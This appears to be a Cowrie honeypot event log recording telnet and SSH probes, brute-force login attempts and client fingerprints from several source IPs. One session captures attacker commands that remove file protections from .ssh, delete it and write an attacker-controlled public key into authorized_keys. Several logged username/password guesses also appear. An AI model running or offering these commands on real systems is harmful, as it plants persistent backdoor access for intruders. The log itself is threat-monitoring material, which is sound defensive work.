{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34088,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea38a87979e","protocol":"telnet","message":"New connection: 64.227.101.30:34088 (10.17.0.5:23) [session: 3ea38a87979e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:58.116453Z"}
{"eventid":"cowrie.session.closed","duration":44.25930643081665,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:01.312858Z","src_ip":"68.183.198.12","session":"1ede81e7eabf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.44057536125183,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:03.983365Z","src_ip":"64.227.101.30","session":"6a69dba8c396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37868,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb87ad4207aa","protocol":"telnet","message":"New connection: 64.227.101.30:37868 (10.17.0.5:23) [session: cb87ad4207aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:04.767017Z"}
{"eventid":"cowrie.session.closed","duration":38.003637075424194,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:05.264785Z","src_ip":"64.227.101.30","session":"14180c1532b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51026,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b75034fa1f1","protocol":"telnet","message":"New connection: 161.97.105.174:51026 (159.203.135.109:23) [session: 4b75034fa1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:05.487524Z"}
{"eventid":"cowrie.session.closed","duration":42.15193462371826,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:06.180829Z","src_ip":"64.227.101.30","session":"cadc8249b951","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.63387942314148,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:10.743037Z","src_ip":"68.183.198.12","session":"e303d1c6e0bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.268325090408325,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:11.401140Z","src_ip":"64.227.101.30","session":"c5de7a78b05b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.87238121032715,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:12.665063Z","src_ip":"64.227.101.30","session":"7f80260fce15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.65313458442688,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:12.680994Z","src_ip":"64.227.101.30","session":"0c6fb0f55a5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56534,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9371f7090f","protocol":"telnet","message":"New connection: 64.227.101.30:56534 (10.17.0.5:23) [session: 2e9371f7090f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:13.891964Z"}
{"eventid":"cowrie.session.closed","duration":0.42066144943237305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:14.312521Z","src_ip":"64.227.101.30","session":"2e9371f7090f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.61565446853638,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:15.265163Z","src_ip":"161.97.105.174","session":"66fcdab7a899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40918,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2389bb5bc93","protocol":"telnet","message":"New connection: 64.227.101.30:40918 (10.17.0.5:23) [session: f2389bb5bc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:16.174853Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":60354,"dst_ip":"159.203.135.109","dst_port":22,"session":"22bc0fac3feb","protocol":"ssh","message":"New connection: 200.118.150.20:60354 (159.203.135.109:22) [session: 22bc0fac3feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:16.643210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:16.647815Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:16.734426Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51918,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e14da0ed19","protocol":"telnet","message":"New connection: 68.183.198.12:51918 (159.203.135.109:23) [session: f3e14da0ed19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.027481Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Hello123","message":"login attempt [oracle/Hello123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.109128Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.328732Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.332988Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.337708Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.428432Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.638310Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.642035Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.734948Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.739138Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":60504,"dst_ip":"159.203.135.109","dst_port":22,"session":"a509eaafd0f5","protocol":"ssh","message":"New connection: 200.118.150.20:60504 (159.203.135.109:22) [session: a509eaafd0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.823370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.828611Z","src_ip":"200.118.150.20","session":"a509eaafd0f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:17.919750Z","src_ip":"200.118.150.20","session":"a509eaafd0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.516682863235474,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:18.201264Z","src_ip":"68.183.198.12","session":"4581afb1be4a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:18.312135Z","src_ip":"200.118.150.20","session":"a509eaafd0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40730,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f1290cf43aa","protocol":"telnet","message":"New connection: 64.227.101.30:40730 (10.17.0.5:23) [session: 1f1290cf43aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:18.505819Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:19.403992Z","src_ip":"200.118.150.20","session":"a509eaafd0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":60678,"dst_ip":"159.203.135.109","dst_port":22,"session":"60de34da5e5a","protocol":"ssh","message":"New connection: 200.118.150.20:60678 (159.203.135.109:22) [session: 60de34da5e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:19.480340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:19.489360Z","src_ip":"200.118.150.20","session":"60de34da5e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:19.574792Z","src_ip":"200.118.150.20","session":"60de34da5e5a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:19.950312Z","src_ip":"200.118.150.20","session":"60de34da5e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:20.036888Z","src_ip":"200.118.150.20","session":"60de34da5e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:20.041367Z","src_ip":"200.118.150.20","session":"22bc0fac3feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.47016787528992,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:20.862102Z","src_ip":"161.97.105.174","session":"85b290670591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58724045753479,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:21.276615Z","src_ip":"161.97.105.174","session":"5fac763fb2a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52896,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4f7b424e96","protocol":"telnet","message":"New connection: 68.183.198.12:52896 (159.203.135.109:23) [session: 1d4f7b424e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:21.910851Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60140,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6e687314823","protocol":"ssh","message":"New connection: 193.32.162.145:60140 (10.17.0.5:22) [session: d6e687314823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:24.247513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:24.252827Z","src_ip":"193.32.162.145","session":"d6e687314823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:24.357897Z","src_ip":"193.32.162.145","session":"d6e687314823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"raydium","message":"login attempt [ubuntu/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:24.690193Z","src_ip":"193.32.162.145","session":"d6e687314823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:25.801875Z","src_ip":"193.32.162.145","session":"d6e687314823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.22409415245056,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:25.826676Z","src_ip":"68.183.198.12","session":"9394f827e81e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a364e0d2f02","protocol":"telnet","message":"New connection: 64.227.101.30:44162 (10.17.0.5:23) [session: 7a364e0d2f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:28.225825Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43480,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf4e099dfe2","protocol":"telnet","message":"New connection: 64.227.101.30:43480 (10.17.0.5:23) [session: 3cf4e099dfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:28.362911Z"}
{"eventid":"cowrie.session.closed","duration":97.47735381126404,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:28.680884Z","src_ip":"64.227.101.30","session":"a5a681612214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.07319164276123,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:28.816413Z","src_ip":"64.227.101.30","session":"f1d628e20286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78141689300537,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:31.216528Z","src_ip":"64.227.101.30","session":"64f4c2673a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53536,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb1aac1a6a7","protocol":"telnet","message":"New connection: 68.183.198.12:53536 (159.203.135.109:23) [session: cdb1aac1a6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:33.297500Z"}
